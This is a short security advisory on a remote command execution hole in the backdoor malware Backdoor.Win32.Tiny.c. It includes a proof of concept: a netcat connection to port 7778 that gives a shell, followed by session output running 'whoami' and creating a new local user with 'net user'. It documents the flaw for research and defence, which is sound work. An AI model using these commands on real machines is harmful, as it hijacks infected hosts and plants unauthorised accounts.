Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/c61733c6bcbbb11cee634e0a3fd672e9.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Tiny.c
Vulnerability: Unauthenticated Remote Command Execution 
Description: The malware listens on TCP port 7778. Third-party attackers who can reach an infected system can run any OS commands hijacking the compromised host.
Type: PE32
MD5: c61733c6bcbbb11cee634e0a3fd672e9
Vuln ID: MVID-2022-0476
Disclosure: 01/29/2022 


Exploit/PoC:
Note: Hit Enter twice and we get a command line to the infected host.

nc64.exe x.x.x.x 7778

wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
'wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user malvuln 13 /add
net user malvuln 13 /add
The command completed successfully.

C:\Users\Victim\Desktop>


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